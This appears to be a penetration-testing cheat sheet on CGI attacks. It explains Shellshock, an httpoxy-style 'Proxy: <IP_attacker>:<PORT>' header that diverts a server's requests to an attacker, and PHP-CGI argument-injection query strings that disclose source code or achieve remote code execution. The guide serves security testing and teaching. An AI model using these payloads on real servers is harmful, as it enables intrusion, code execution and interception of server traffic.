CGI
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Common Gateway Interface (CGI) is an interface specification that enables to execute an external program to process HTTP/S user requests.
We can fuzz for CGI endpoints using and from
We can test for CGI vulns using nikto
Bash can also be used to run commands passed to it by applications and it is this feature that the vulnerability affects. One type of command that can be sent to Bash allows environment variables to be set. Environment variables are dynamic, named values that affect the way processes are run on a computer. The vulnerability lies in the fact that an attacker can tack-on malicious code to the environment variable, which will run once the variable is received.
If we found the CGI script under /cgi-bin/
, modifying HTTP header to remote code execution.
CGI creates a environment variable for each header in the http request. For example: "host:web.com" is created as "HTTP_HOST"="web.com"
As the HTTP_PROXY variable could be used by the web server. Try to send a header containing: "Proxy: <IP_attacker>:<PORT>" and if the server performs any request during the session. You will be able to capture each request made by the server.
Basically if cgi is active and php is "old" (<5.3.12 / < 5.4.2) you can execute code.
In order t exploit this vulnerability you need to access some PHP file of the web server without sending parameters (specially without sending the character "=").
Then, in order to test this vulnerability, you could access for example /index.php?-s
(note the -s
) and source code of the application will appear in the response.
Then, in order to obtain RCE you can send this special query: /?-d allow_url_include=1 -d auto_prepend_file=php://input
and the PHP code to be executed in the body of the request.